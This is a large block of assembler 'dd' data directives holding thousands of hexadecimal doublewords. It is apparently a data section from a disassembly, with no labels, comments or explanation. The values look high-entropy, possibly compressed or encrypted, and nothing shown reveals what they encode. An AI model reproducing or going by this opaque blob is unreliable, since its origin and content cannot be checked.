dd 25682DCCh, 0A6900354h, 2F4B17E9h, 3D3B8931h, 3BD36601h
dd 0B532F544h, 529243AEh, 609F4272h, 714980F3h, 0C5017A26h
dd 7507BF24h, 25105A0Fh, 0ED0AF9h, 21C3354Ah, 0C20133ECh
dd 7D6C1A95h, 0C9341E01h, 0EAA66017h, 412520F2h, 0A85E229h
dd 0F10C9B08h, 1EB682B4h, 7BF588F9h, 211690D9h, 1C1B3F0h
dd 0E90CE8C1h, 1F6C6FEEh, 98A40592h, 1823E3C0h, 0C1222DAAh
dd 0E60348EAh, 7D6FF909h, 0A5B41005h, 11623C90h, 0A6515124h
dd 9575CCE0h, 6E3D01C6h, 52DA0080h, 0EEC06BB6h, 401CB006h
dd 0A509685Dh, 802E3A3Dh, 272AEDA5h, 89121871h, 86E212EAh
dd 4D0B58B0h, 0A9A5E950h, 806A620Bh, 0CE1EC350h, 0B693A04Ch
dd 5D0301Ah, 74260936h, 0BEE9360Bh, 3B67B125h, 0AC7B17C7h
dd 0C9F2F320h, 53A1315Eh, 0E9121233h, 0EDBCC8E2h, 0DA5D7617h
dd 0ADDA50Fh, 0AC2408C5h, 2B48370Dh, 0D451A3D9h, 0A371F901h
dd 1F700CA5h, 2DA6595Ch, 6F4E8969h, 252883h, 14A17BEEh
dd 0C217EF05h, 60A02B60h, 5A014E30h, 0E0CA562Dh, 0F6402A4Dh
dd 43680756h, 3E11BA5Eh, 1026F7EBh, 0E1E021B9h, 0CB885801h
dd 7DF38059h, 0EC2FEF30h, 360179C4h, 120C62F4h, 280EEC7Bh
dd 6CC058E3h, 0FE453005h, 533C2EC3h, 0E96102A6h, 21793803h
dd 753C11Eh, 2568CFCCh, 2182B93h, 1E173220h, 18D5297Ch
dd 0D287E24Eh, 0AAC513E3h, 68334216h, 0B8DE3BA9h, 58171868h
dd 778B6F0Fh, 0ACD099B2h, 22340C00h, 4DAE3555h, 9902B024h
dd 25040Bh, 57D1999h, 0E6DB0174h, 0E9C701FAh, 4ED3780Bh
dd 6F52BF40h, 27C13CFEh, 0DE303E5h, 91B0FB93h, 0D54AF720h
dd 527BEA98h, 0AE165E72h, 9757501h, 2250DF0Dh, 587012B5h
dd 89C99E4h, 0F70E3192h, 40F9EBD0h, 0FDB3448h, 0D62CD8F6h
dd 0A70DE69h, 6290BE07h, 0B3A57982h, 0C1806DD4h, 0FA41FAF1h
dd 0E1DDE71Fh, 0CE478D4h, 0B685E944h, 4B985D7Eh, 0CF93A191h
dd 41E84DB4h, 28C066C9h, 0EDB0E07Ch, 47AA4Dh, 6CEEBB5Eh
dd 5E315923h, 0C363D8EBh, 0CF6B7D1Eh, 86FB014Bh, 7B33829h
dd 280FF680h, 3545A2F3h, 0E2891351h, 1C32686Eh, 7C9A7CD4h
dd 9BCC7C51h, 96B9214Ah, 0B8CF8022h, 5253F4Ah, 0E9F3E339h
dd 4D8B4530h, 16DB02C3h, 2BCC1408h, 163C102Fh, 0EC68699Ah
dd 0FC99A05Fh, 65E62C27h, 59060073h, 0D9F70BE7h, 327EBAA8h
dd 5B848E4Bh, 0BE579DF0h
dd 448045F4h, 0C1DD09FAh, 2B20322h, 7D4D8258h, 0CC890BD9h
dd 0CDBEC38Fh, 616B1E7h, 0BE020B91h, 47265005h, 4396081h
dd 0F7380B8Ah, 0BA0053D6h, 5BD51802h, 452D894Bh, 75018A00h
dd 435A0431h, 8D25E4E9h, 0DF617A5Ch, 800056F3h, 6C37CF1h
dd 7AC9FEC0h, 78E93104h, 0B4884B14h, 0A140E488h, 791F6135h
dd 0C5312D45h, 0FFD09E0h, 1101509h, 0B3340EE9h, 0C2C3BC21h
dd 7E7E8330h, 0C1014A58h, 7A1CBFEFh, 0C6D1721h, 1FC28B89h
dd 0C0071C5Eh, 53F106EBh, 77716AB3h, 5C39C52Bh, 42A06703h
dd 174DC32Dh, 0DE351C02h, 58F0B242h, 0A68178Fh, 0EA686032h
dd 761244A3h, 5E98CD31h, 1DF01EC1h, 8EC2B723h, 5D3C0854h
dd 0D6E2D027h, 28559C40h, 90292FE7h, 4A5AC889h, 2E6A5069h
dd 0FA016916h, 0DF40755h, 21760C80h, 0EE9085Fh, 322AE295h
dd 5B3FEE0h, 0AD4FB135h, 67137EA9h, 7D032C54h, 0B0E960D4h
dd 0BF29D05h, 0C601F1BAh, 302949B1h, 3F4FA123h, 66EE5141h
dd 0E5EC6268h, 8B72D2F5h, 48576A9h, 0D8091968h, 4914C8D1h
dd 27E55EA9h, 8B4A0957h, 6C9179E8h, 0E2812AEh, 6804E27Bh
dd 8B96DFFh, 0A0110A90h, 0E94712C1h, 0F03DE12Fh, 7B53DB68h
dd 2CB102A9h, 544F29E9h, 60ADA8CEh, 54B9118Eh, 89F8971Ah
dd 90C0C85Fh, 26BE0h, 5FF83119h, 613CBE56h, 0A655B324h
dd 363E8C00h, 9E6C14Eh, 6090E907h, 0EB4DAE7Ch, 605AE320h
dd 71F7DBF3h, 1A0B3E0Dh, 95FFD29h, 625074EEh, 1B5DD119h
dd 0F79AC963h, 0C1832F68h, 0C6DB03E1h, 58892927h, 0EEF13820h
dd 0F12E9E12h, 0E6902A6Bh, 123C4319h, 0C04C680Dh, 2EC0E981h
dd 985A5F80h, 6FE695D7h, 4D924CFEh, 6899B605h, 0A03050FAh
dd 7C6615B5h, 5E3C2D52h, 38541799h, 0F4B1048Dh, 0BABCA28h
dd 0FBD9BF38h, 80C7B61Eh, 0C630A1E6h, 4FA2E9ABh, 6653CC10h
dd 7FB3E540h, 5BD820F6h, 0CBF58102h, 4174DE7Dh, 0CD2B5DA5h
dd 7CCFE16Bh, 670B4B56h, 5885019h, 0DA4753BBh, 94FFF145h
dd 5890806h, 2EAE51A6h, 43CAEF00h, 30F7125Ch, 81064FDFh
dd 3A0502EFh, 55E9EBC7h, 904279B0h, 721D047Bh, 0A0090E5Eh
dd 1909C250h, 74E4B2A2h, 148B0942h, 7B255EC7h, 0E9F88245h
dd 0A1DE6A9Ch, 0CC4065C5h, 0BA16B5BDh, 0A568170Eh, 87796138h
dd 286A0D15h, 4725E9C1h, 0CB3604B7h, 12B849C4h, 0A06DB8B5h
dd 4EE9535Ch, 663FC21Fh, 59D2043h, 0E2256E98h, 0B8879F30h
dd 2D4577CEh, 40845CC7h, 0C9AB7582h, 663F5E0Fh, 0E910AB59h
dd 605A511Ah, 67BB53A2h, 0A1C0702h, 5844FEE9h, 0C7085B6h
dd 68A5E256h, 6F7D313Ah, 0AE6AA493h, 0F4A72DABh, 18954618h
dd 805D1180h, 4914B7BFh, 5FC6BCAh, 69E71FA0h, 1DBA23C1h
dd 1B718F59h, 0F7000344h, 0EDC16D2Ch, 0B3FA9006h, 0D02909E4h
dd 2D40B659h, 7FF2745h, 76A30522h, 7A415F89h, 284B5E66h
dd 0BAF610D6h, 246F2D77h, 0D082BBC8h, 7E0CD5C9h, 0C79B4223h
dd 0B3876D7Eh, 8089EDA6h, 0F9012FECh, 41DBE70Bh, 0B4408ACh
dd 6C5F21ECh, 5E63F2B2h, 0C102C619h, 35BF5572h, 42B2D300h
dd 0CA8952D9h, 1955FBFCh, 817620D2h, 4AD6340h, 8068D831h
dd 0F50FD865h, 745BD5Dh, 292F1B11h, 2DD494A4h, 6CE1B704h
dd 9F4A4BE2h, 38304E2Ch, 9FAD6FE9h, 52CF6625h, 0B7A743A2h
dd 93D080BCh, 1916B551h, 66D43CE9h, 9F108DA9h, 555A1D24h
dd 0CE2F59CBh, 9EFA901Ch, 0AB91A5DDh, 2F8AAA68h, 0C626802Dh
dd 0D397AED8h, 308E292Eh, 734058EDh, 0E801005Eh, 0F9465B2Dh
dd 0E59D5D59h, 0D3ED331Dh, 0ACF6F310h, 0BF16075h, 0DF0408BFh
dd 0F931071Fh, 6FA4A413h, 7F1E03C2h, 835D16EFh, 0E95202B8h
dd 9AA8FDF6h, 0C83D3B66h, 0DC73139Ch, 0DF041C52h, 26EFEA83h
dd 0BE04C730h, 5A535186h, 293247B2h, 81C25E1Ah, 0D63A1A82h
dd 305ACF49h, 2B406E08h, 607BBE53h, 0CD7CEBBAh, 0B07B405Ch
dd 263D3CB9h, 38F46D8Ch, 210B4101h, 9358C109h, 57C8C5DAh
dd 0C73DED66h, 0BC866B2Ah, 4C65E842h, 0A827E937h, 0B6D3E8BDh
dd 0B9860915h, 1176F001h, 66F65151h, 522BDDCh, 819069E9h
dd 0BC4E2CF0h, 696DFF98h, 3B8C60E7h, 645A7010h, 0BDEDA69Dh
dd 0CA0E402Bh, 47D306EAh, 0E250F2ECh, 89584C81h, 51BB022Bh
dd 5E92EB83h, 0EEE38186h, 9E0F9F32h, 0F3400660h, 0B5B61C2Ah
dd 450EB856h, 1C152CB2h, 0EB99C588h, 293A5979h, 754841FAh
dd 4A3473E6h, 0E982BDB2h, 8A961178h, 57BC37B0h, 3B1E3CC3h
dd 0B2ADCD1Dh, 53C785h, 0ED432FE8h, 3E3ABB2Eh, 0E94F0587h
dd 0C740EF0Ah, 8A21F6EEh, 0CE013E26h, 0D06F4EF2h, 0F222F3D3h
dd 515E6727h, 6E99318Ah, 0BB4081ABh, 1F58215Bh, 0B690162Eh
dd 328A4B1Bh, 8053E913h, 0FE21662Ah, 7AB05FE6h, 0D84DF63Eh
dd 2BF12C2Ch, 1A61CA10h, 3702FF7h, 302D7EFAh, 0EA0A38C8h
dd 0E919EF83h, 5330E2C5h, 6A21602Bh, 1E4CFD10h, 0A8F9393Dh
dd 4009C781h, 707D1B20h, 0E90781E4h, 0E253D8E9h, 793B9E0h
dd 627EB036h, 4484C378h, 5EBC100h, 0CFDB50F7h, 95AA08B2h
dd 0DA2431BCh, 2742DA12h, 0E844015Bh, 0C5D60838h, 85DEE65h
dd 952263F0h, 0BD55E597h, 0CB1A26A5h, 0C154C405h, 62614BBCh
dd 71D79E30h, 0CE046952h, 0FCE80E13h, 3176E0E7h, 63EA4CEEh
dd 2668C940h, 0C00B553Ch, 1E9953FDh, 0BAC16Bh, 957BB761h
dd 59294CFAh, 61DC2D00h, 0C9E90F6Eh, 0CB8C264Bh, 0B260E132h
dd 0CE255B83h, 0AAC2644Fh, 500C5E9h, 0BC7CE81h, 0E6EC4656h
dd 0F81AD70Bh, 0D646B818h, 4FD9BA05h, 0B241D1C0h, 0B1B9050Dh
dd 0C0591F30h, 801C08ECh, 38FBF3F4h, 0E91672E3h, 5A5F250h
dd 0BB6799DCh, 3758277Eh, 16242B4h, 0B5D741DAh, 570EC05h
dd 4E0452A4h, 0A0EE56F0h, 2D685B08h, 0B41B6B35h, 0F3104765h
dd 48243FF5h, 5394063h, 51563B00h, 58C7295Ch, 0A82B04Fh
dd 362522ACh, 12CA1D8Dh, 0B81A0617h, 0EF789740h, 3430FABBh
dd 53F6E58h, 0E9D6F729h, 4999166h, 0D39C35B4h, 89EA37B3h
dd 0E5258DDEh, 278E26CFh, 55E179Ah, 0E90B3310h, 74105A35h
dd 2B7E1F8Dh, 0F7A010BDh, 9741E5D2h, 0F00FD4Bh, 0CC93C8BFh
dd 325F5409h, 94747B72h, 0E5976A59h, 0C1DD3508h, 0C22D3E54h
dd 0E4D3D096h, 556BCB03h, 0B339095Bh, 0C80EF283h, 90E5C05Ah
dd 0E6DDE60Eh, 295A61C5h, 2FF321E9h, 0FCF15434h, 60B52F28h
dd 0AF4D22A8h, 48FF195Ch, 3C6212EEh, 178488E2h, 4D43AE4Ch
dd 0ACA9C3C6h, 470E1EAAh, 0D767C72Dh, 0C2BDF155h, 0E81C9F54h
dd 2515D4Bh, 3E1BF33h, 6A891BB8h, 0C8136E74h, 0E9DAAD1h
dd 7A59C92Fh, 8E5F112Bh, 273B2CEDh, 0C19238AFh, 6894000Ch
dd 4EC8E181h, 0CC1275Ah, 650726D2h, 128DF1F0h, 788F47h
dd 9B05FD29h, 3D26E931h, 5466454Eh, 69D9F8A3h, 8029D2F4h
dd 7ED254FEh, 4F6E926h, 8A508045h, 0C3A11090h, 0F02D4800h
dd 1C9D3D0h, 684EC258h, 0D00D581h, 0F73DC577h, 0FC9F0D1h
dd 3893616Ah, 25D03A4h, 0A7041668h, 4DC05A58h, 4853EA87h
dd 58014651h, 0C1E94310h, 2E406A4Ah, 6D7DF1EFh, 59F8B844h
dd 0FE2DD89Eh, 0A7D47848h, 545C6082h, 0DA4E5068h, 3A89B54Fh
dd 0DF32315Bh, 20146454h, 211E1594h, 0AC125EF5h, 915CACF0h
dd 0C7688553h, 82B1F269h, 7418E959h, 5BBE07C6h, 31A071BAh
dd 0C4A89F7h, 0C41DDC1Ah, 0A1E8E3Ch, 60CDF3E9h, 0F70F2102h
dd 4403604Fh, 6D993303h
dd 0C0D01218h, 905DE970h, 0F7D84BC0h, 7FBA0452h, 0A8181E42h
dd 0E0E90977h, 0E9F7D62Ch, 4D1A1832h, 0FC69A574h, 3B6861F8h
dd 80AB8879h, 0CB173DC8h, 5E33E372h, 41897399h, 69483166h
dd 0A18AA702h, 70264CF1h, 0F9FEC3EFh, 1EBAA89Bh, 0AA6EE99h
dd 0FD93D734h, 0E5685BF2h, 0E80BE381h, 800EC443h, 254D5930h
dd 66A1BF06h, 889EB02Ch, 0C45E44h, 0C001EA80h, 507F07E2h
dd 910CA800h, 472CD0F6h, 1F029D28h, 0B47E5D1Ah, 6500C9CAh
dd 111F805h, 65962C8h, 0B85BF57h, 89BCBC29h, 0D0C8A9B8h
dd 0D021E365h, 0D2292974h, 82063414h, 6354E325h, 7321CB81h
dd 0DF405E71h, 502853C4h, 17F5F713h, 5DA1B531h, 564A674h
dd 48C2CCE9h, 4FBF5B93h, 64548B4Fh, 2490CEEAh, 2CA616F5h
dd 0B56697B1h, 0A069B8B0h, 993EBB68h, 40529EBCh, 2DF81CA7h
dd 0E204815Ah, 0AEA4898h, 0E9DB4406h, 0F8CB8EDCh, 0CCE60055h
dd 3240082Eh, 2D81A0E9h, 9825C879h, 9545896Fh, 0EB5923A2h
dd 938B608h, 80702006h, 4703ED22h, 745AC772h, 0C154B16Eh
dd 327B68EBh, 80070C04h, 4305DFF8h, 0F6094F98h, 88A640DEh
dd 0D4E43B2Fh, 15A1699h, 503076DFh, 0C6F12108h, 4FC96801h
dd 5A7E7D66h, 5AB90FCEh, 0BC392EE4h, 32C1E0AEh, 55A3097Ch
dd 0C03D901h, 23874B48h, 460DFF7h, 0AC763F84h, 0D7010515h
dd 0F82E77E9h, 7820987Bh, 7FED2E5Eh, 504A1026h, 2D136C0Ah
dd 43822602h, 1B274105h, 0D1209ECh, 8E9EE31h, 7B2C6699h
dd 0E55448F8h, 5709F1FFh, 0D812800Fh, 6240394Fh, 15211E24h
dd 8F17FD30h, 5FA56054h, 2607F067h, 1BE9DEF7h, 0BD214C2Ch
dd 0E118AE84h, 48233F02h, 25D14906h, 0F7810CDFh, 0FD05C287h
dd 5868C835h, 0A7130DA9h, 17AF5CA5h, 696F15C3h, 0BBF8891Ch
dd 7C68EB79h, 0E40F454Ah, 5C30BB56h, 3FC435BFh, 2A130DB6h
dd 0DABCAC6Dh, 6CEA8545h, 0B5331CB0h, 0C034E4E6h, 54BC16A4h
dd 4E20CAD2h, 6BE968DCh, 6701857Eh, 0D5F528D5h, 1E7CD6EDh
dd 1577F88h, 0B0030ABEh, 14122833h, 0DEB23F52h, 249FA1Ah
dd 7C4743A0h, 5FF8E3A7h, 38DFC5E9h, 45A8965Eh, 3E521E10h
dd 30A65Fh, 0A760A413h, 0CF68A7h, 31E7811Eh, 0F730D821h
dd 8AC4D74Bh, 21BCB256h, 40842D3Eh, 0E031B352h, 7238EBC1h
dd 0E9D205FAh, 2EADB146h, 7D6F61Dh, 8B160E68h, 0B8C8AF7Ch
dd 49F0880Eh, 0DA9D74C7h, 2ED2D800h, 500075B3h, 7248C4B8h
dd 0A1C70921h, 44EB28D4h, 5CC8A59Dh, 34922749h, 0E6CFBCC7h
dd 1FB84C87h, 2918D60Ah, 22012646h, 0FB33BF4h, 0E05482BFh
dd 5BBA70ECh, 0D55CC7E3h, 513B5AEh, 3C98CDB6h, 32E9121Dh
dd 0ECACB4B0h, 0B4A7B7BFh, 0F11FD5F7h, 109877F1h, 0F605AA20h
dd 93EBC0D3h, 0E0B07F3Eh, 0CD0A3402h, 0BF28EE04h, 9D227025h
dd 0E9259914h, 0DCA58956h, 0EA875925h, 5093B4F9h, 0DA680581h
dd 73623D65h, 0B41EDD84h, 1A18392Eh, 0C00C02F7h, 6DA12518h
dd 8834DDAh, 0F2140C45h, 6813485Ah, 658D25B6h, 0AC4193A7h
dd 0DA453088h, 0E28F1C62h, 899DD906h, 47713452h, 6CC3B193h
dd 0B2F58F4Ah, 9F54A1F0h, 4899F340h, 3229720h, 77A467A7h
dd 41DD9F7h, 0D285D187h, 8ED5251h, 0A320404Ch, 6846489Dh
dd 79BB0B74h, 0E4D8015Fh, 0ABDD2FBDh, 4A79681Fh, 1CBD8047h
dd 372A4809h, 2731FA29h, 0F41631D4h, 0C0D2AB98h, 56013353h
dd 73367812h, 703CE5EDh, 406BE650h, 350091CCh, 0F1AFE28Eh
dd 951C4709h, 0B68B8A10h, 80FF4082h, 52349431h, 5BE810C8h
dd 967D8D28h, 24C4762Dh, 0F7EC0CFAh, 42FA394Fh, 316C02C1h
dd 665F1FA4h, 6A331988h, 0E8B050A2h, 1D2599DBh, 5C28D1h
dd 0EB0AD4BCh, 965EF321h, 0A3E295EEh, 4BB45001h, 2174EB80h
dd 0D4C3D5B5h, 0CB4BFE58h, 0D6014BB4h, 0E3030616h, 6876A766h
dd 362CB9B0h, 1D02225Fh, 616E5E69h, 0E104140Ah, 4CFEE0E4h
dd 668E99B7h, 0F3A4B7BEh, 475F8C21h, 57125844h, 328162FFh
dd 0C404F329h, 0E3C682DAh, 0E86F74DCh, 3B9F26C0h, 788B2B09h
dd 0E1046F78h, 12435BF2h, 2904BC0h, 105EC40h, 1EA4728Bh
dd 442DC801h, 0AF34BE07h, 8476DB0Fh, 971C2A90h, 66DDC819h
dd 22A30F25h, 7CA17290h, 82514447h, 99F64DEBh, 0BBDF3178h
dd 32F1337Ah, 0D361A0EDh, 57C8B94Ah, 447BB855h, 705A4AECh
dd 0B10022F3h, 59CF88AFh, 280773B2h, 0DB2C5BFAh, 0A304D003h
dd 83CE9B5Ah, 0B4BDFD8h, 0FC1A5877h, 1033F253h, 7E410C68h
dd 4612975Eh, 548F600h, 4EF76FDAh, 0E940C1D8h, 12707CB9h
dd 2DA2D521h, 0F5E0458Eh, 4742395Dh, 36E95012h, 6027A05Ch
dd 90DEEBE7h, 0FE867525h, 2C2CB602h, 0A31E0B51h, 0B059EE32h
dd 970253Fh, 82B6FED1h, 9B40FB10h, 0B02D2FDCh, 0A80D84A7h
dd 723C9BBh, 0F710D379h, 6F91D6D1h, 0A04B9CEAh, 7E425889h
dd 0A5F8DEFEh, 0C458F5CAh, 310D6816h, 0E982FAA6h, 10408C1h
dd 263366FEh, 0B241BB0Ch, 60BB42Bh, 2947A57Bh, 8801CD3h
dd 0F09234E9h, 91DBF628h, 9888B930h, 0CF16B353h, 0E384EA12h
dd 0EBB8108h, 8B982928h, 4E05E430h, 0B24507ABh, 83E20558h
dd 0BEE1D351h, 0DB7140C2h, 0CD768B09h, 6590C109h, 10D5F685h
dd 0E2D11D21h, 0D70B5CCDh, 0A73402E3h, 5A280226h, 848D9A57h
dd 27BFC44Bh, 4871823Dh, 0F125A879h, 0B05C4478h, 92AE989h
dd 0E10DEACAh, 3B5D6850h, 0C42EDA21h, 89D3E724h, 2D35D85Ch
dd 0D380CEE9h, 2C31F4BAh, 2FC70848h, 2D916544h, 0F2946DECh
dd 7EEFE962h, 0AF51273Fh, 0CD2E39EBh, 3B33A201h, 9918BFDCh
dd 9F690B09h, 54B69746h, 582D246Ah, 56CC583Ah, 0C8B93170h
dd 22D1310Bh, 61AD4AEh, 4F7D0B3Dh, 0B249098Dh, 0AD07294Bh
dd 7223D01h, 2EB650Bh, 3A88E917h, 5AA55BF4h, 2560169h
dd 0FD01399Fh, 1A912F8Bh, 5D024A44h, 218B827Dh, 612576C8h
dd 7D2353E9h, 0E8726066h, 0B8374A59h, 5B6A20C7h, 0E9F02824h
dd 0D1BC4325h, 8E47C230h, 6805FE4Ah, 98EC24A1h, 0DD51C7CBh
dd 2101E984h, 157197D9h, 991D647Bh, 7E4E0111h, 205C0101h
dd 40A6C348h, 0B1BDAD9Eh, 3E1C94h, 72D0BEA0h, 81020D9Ah
dd 0E527BBE6h, 6FB18062h, 163F5A4Bh, 0E103E9C1h, 9E9A4312h
dd 14744A8h, 6359CE2Dh, 0E9D8B0E1h, 4AD458ECh, 0C36855C0h
dd 5665E14Fh, 26FC5DB5h, 1246532Fh, 5F06FBF2h, 44031805h
dd 2DD828C4h, 12E91307h, 615C9028h, 0D700F6BCh, 4ABE5649h
dd 1209544Bh, 3D6F74Eh, 621E9D27h, 5A0BAF8Fh, 0C06A2F85h
dd 0CDE95CE4h, 0EBD024BFh, 216E4DD9h, 96153784h, 204E76Bh
dd 47E86C03h, 5EFC10Dh, 1E12420Ch, 0FC06140Ch, 5B9FC81h
dd 89EB635Eh, 0F500C1FDh, 13F02ECEh, 0A1E85AE9h, 0F5657B0Eh
dd 0B329C995h, 264D8C00h, 0E14E4FDAh, 10D9A5Dh, 0DD518358h
dd 0EE4F173Dh, 7E81D802h, 0CA813F96h, 60ED553Ch, 0F8516560h
dd 0D7507C5h, 724C762Eh, 1941E0C1h, 19163E74h, 0FA05DAF6h
dd 0CDBB535Fh, 6C3431BCh, 85ACA409h, 7B1236D4h, 844AED3Dh
dd 205E5A59h, 0B355852h, 52184CE9h, 654D09FBh, 79803EF0h
dd 0C1A628Bh, 0EEF02976h, 15808A0h, 1722FE68h, 0B7645F1Eh
dd 0FB0F950Bh, 21668988h, 9D228410h, 28B35D82h, 8A8FC3B9h
dd 5E528E8Ah, 0BEA9D449h, 0A57332A6h, 75DC9432h, 5A532Eh
dd 83BB69Dh, 0DE01092Eh, 71422AE9h, 283E7740h, 15FC009Fh
dd 806B2926h, 0F97E69E0h
dd 0C10900BFh, 7A5602E2h, 0AD84BFE9h, 555EEFBFh, 0FA10F889h
dd 58F33926h, 724A231Ch, 0FE870336h, 72B893FDh, 0BD76658h
dd 7E296058h, 9DAADAAh, 0CE283E70h, 0B2CF0819h, 1FC872E5h
dd 94354359h, 40F21E79h, 9AE979C4h, 0CD29F4D1h, 0A2F1A444h
dd 57629D02h, 1E543009h, 0B538E978h, 0BBA29B09h, 640415B2h
dd 0E6D504ABh, 0AEA18E1h, 311D0747h, 1242DAF7h, 33E1EAC1h
dd 3806C0C2h, 0D51C457Eh, 5BF9F75Ah, 565201C0h, 822C4FD6h
dd 74C0D112h, 55D0BF91h, 2FEB0BDAh, 2DD5413h, 6D9B6949h
dd 2B7FF40h, 5078AF2Eh, 4DA00E16h, 36872768h, 95E5889Bh
dd 0E931EBE2h, 242629E3h, 0E64C7949h, 0E910EEE2h, 0FFC75D76h
dd 0E7562C89h, 92B4E958h, 0B35DD253h, 0EF83C40Eh, 0E992D1E8h
dd 0ED81C0BFh, 0FED64C5Bh, 95F55101h, 0E05E0802h, 897E0A46h
dd 2E8F7D9Bh, 94B82C1h, 164BF073h, 25DEE09h, 7158F1Ch
dd 0DA46B6C0h, 6B2D97A8h, 0A10BBD86h, 8B29C0EAh, 0E3310ECFh
dd 556229E9h, 26665002h, 32408177h, 46F2BB56h, 7249E92Ch
dd 9B2F9ABAh, 0B791DF0Ah, 0B055036Ch, 9A5A4F78h, 6120B41h
dd 0B60567DFh, 4231FB3Ah, 2731D388h, 0D94BEC38h, 5F10C325h
dd 5F795C29h, 306591DBh, 0DE410D78h, 992FAC63h, 0C030A5B5h
dd 38141AFh, 0A37938C9h, 83E9491Eh, 52660103h, 72ABAC9h
dd 94D001F9h, 1FFDA85Ah, 838F108Ah, 33AC9FC5h, 0A319ED0Fh
dd 0E94D782Dh, 5F1E829h, 0E95D0E82h, 485E2BE2h, 920A089Eh
dd 9BBC8FCCh, 0DA963358h, 80DD587Ch, 25779ABh, 0E6C1527Dh
dd 0A1C14603h, 0DFFBFCCBh, 300E4BFh, 2871045Ah, 66A12CE8h
dd 70F6D159h, 0E2AC49B4h, 54A2EF2h, 691B9E2h, 82AA2650h
dd 0C80E94D5h, 87420228h, 3AB829D4h, 44979A36h, 7B8CCDAh
dd 7B1D29B6h, 4BE0EDAh, 9EF5AA5h, 685E7781h, 579253F5h
dd 0BFFDC016h, 6D2676A4h, 78026E12h, 40720B22h, 0A8378DFFh
dd 104E8A2h, 0D135D8F7h, 6C8BB145h, 0CF810103h, 18F1545Ah
dd 1F314B70h, 0C259370Bh, 0E7C15EF7h, 2AC7CB61h, 8920660Bh
dd 0C216F478h, 0F70040CCh, 7AE3C1D3h, 88535B05h, 2D000888h
dd 221FFCECh, 9848D0F7h, 12E294CEh, 27B2A85Bh, 0BEE6804Bh
dd 7A9A3124h, 0BDF07318h, 4779BBAh, 0CB44332Ch, 5C14B73Dh
dd 2031A4FEh, 292B5BDDh, 5EFF02BCh, 6D81BF00h, 0A0295A7Dh
dd 485B68CCh, 0C0BBAC32h, 0C378B272h, 75E5814Dh, 0C09C63EBh
dd 6A06FE4Eh, 68E9D912h, 23B20053h, 5C15A19Dh, 133DD446h
dd 4F302A3h, 0A65B7F5Ch, 0B13D4A0Ch, 1FB5DC28h, 0E54825DFh
dd 0DC0267F1h, 0CE2115F9h, 0E73C4459h, 40FC37E0h, 1F08A752h
dd 489DF9Bh, 5DEE9h, 0B3300EBEh, 0D226CE6Eh, 0E93CAFC0h
dd 61C02A8Ch, 0D15A4DF3h, 5EBEC0Ch, 7C2C6CD8h, 640BBE29h
dd 647CF606h, 7EA549FFh, 788A1045h, 1416FD2Eh, 5FB3F8A5h
dd 0B6DA8017h, 0F639806Eh, 78C6B3A8h, 0C82B4F36h, 140BB5ACh
dd 64512AEh, 980FB2BEh, 0C3E926B1h, 20BB8123h, 2A060F16h
dd 75016D25h, 8C22D2C3h, 0EBF43FDh, 0C6B1EE0Bh, 34E18E0Ch
dd 790CFB00h, 0C3881F04h, 0B8807E58h, 9B6B2619h, 0A40FC99Ah
dd 0B6D90B0Bh, 4DBE153Ch, 9AC33FD7h, 6032C166h, 9F4C8815h
dd 8D848A3Ah, 7AE613B3h, 3008B100h, 7DE94216h, 0A089254Fh
dd 0F71DD86Fh, 617DE94Ch, 209068F5h, 0A2FE5988h, 63102912h
dd 0EBE00294h, 5014FB6h, 122D955Eh, 845EA283h, 8BB2E921h
dd 0B59542Dh, 0D8E2BC6Ah, 58057E5Bh, 6E952D3Bh, 0D7F781C0h
dd 0B729FE04h, 4550D2FBh, 0AEE92FFBh, 4E043C0Eh, 5E61F3A0h
dd 0FC2989DEh, 669554D7h, 0C83132F0h, 4D4159C7h, 0C1FE004Fh
dd 4D960F6h, 28CDF180h, 0C39BADA3h, 0E98B20C7h, 3B9D4809h
dd 57B1DA25h, 2CD90809h, 0F6F8C02h, 0D30B7D7Fh, 7789697Ch
dd 8E0FB1Ch, 9F4A1F71h, 4A029A04h, 804F8FF2h, 7F9F015Bh
dd 0E1248790h, 68C235B7h, 0EF9ADD13h, 0E9A08157h, 4001BBAh
dd 692D6821h, 313EB11Fh, 2AD5197Fh, 0CE6B81CCh, 50666BBEh
dd 0ECBD4560h, 0E9333A03h, 0EF3F0CB2h, 7DCF2E2h, 94315F5Eh
dd 6C2CAEE3h, 367658F1h, 51FA462Dh, 0CA1DCF5Ah, 0DA96A74Bh
dd 99E5496Dh, 4BA87210h, 0A013561Eh, 0E1680C4Eh, 5B2A337Ch
dd 8B591F2Eh, 0A57CA8F8h, 9026AA62h, 242304B3h, 5C1F40h
dd 675E2533h, 89E8F231h, 0FDE0D55Fh, 3B6B7455h, 0B44C0177h
dd 71760841h, 2F757D7Eh, 0ADEE2786h, 19F871BAh, 18D82E17h
dd 2B8AF80h, 824CDDAFh, 73772CA5h, 383B1EC0h, 0E9669A04h
dd 0D1121127h, 0BC9775h, 0B41C4F09h, 0B2C56F73h, 5B41EED3h
dd 7B2C44C8h, 266D7E74h, 0BDE735Dh, 797E374Fh, 17476860h
dd 2AF8D804h, 4E2667D1h, 8CB0F642h, 8A403CBh, 5ECE90Fh
dd 21C3B81Eh, 0D9521407h, 8B663E1Eh, 8902F967h, 185EF389h
dd 0DBF75B87h, 7334D482h, 59B508AEh, 0E90A1490h, 0C2D7966Dh
dd 0A05AE84Fh, 877BC909h, 42B2895Dh, 548DD681h, 0E917879Ah
dd 4620BCC9h, 1FB0503h, 2D363574h, 314715A2h, 88042A0Fh
dd 8417F818h, 0D069BEE4h, 2AAEA205h, 0BCE90AE0h, 598469C4h
dd 7B15D68h, 0BD066EF8h, 0F9F0DB44h, 9427A3B4h, 5B681890h
dd 36633777h, 13D9D183h, 19D04E3Ch, 0C68DFC93h, 9782EEF5h
dd 0AEFC4544h, 0FCC3A1A9h, 767B7921h, 2095707Dh, 0CA2297A7h
dd 0CB810362h, 4CC734B9h, 0FFDD2E02h, 60299326h, 9D055EE7h
dd 90B53516h, 0A6A9C3A4h, 2058A4A8h, 5A00E6E0h, 0A9166E05h
dd 0FAC8010Bh, 6310B748h, 861D5CBFh, 0F2C14271h, 83B1187h
dd 65320C82h, 6A0039EEh, 0BDB37B9Dh, 82F19B88h, 78C8DD2Dh
dd 295739E2h, 0F7DF8D88h, 9C81E7Bh, 0AB7442F1h, 0A58F7F56h
dd 0AC57920Ah, 0E04AB455h, 7A44DE5Eh, 51458CAAh, 333FC1F2h
dd 0D0A15E37h, 32954FCh, 89B85025h, 35F84B64h, 0E40021B6h
dd 3E8C14Ah, 3A5A590Dh, 3281630Bh, 0F773B722h, 998C3AD0h
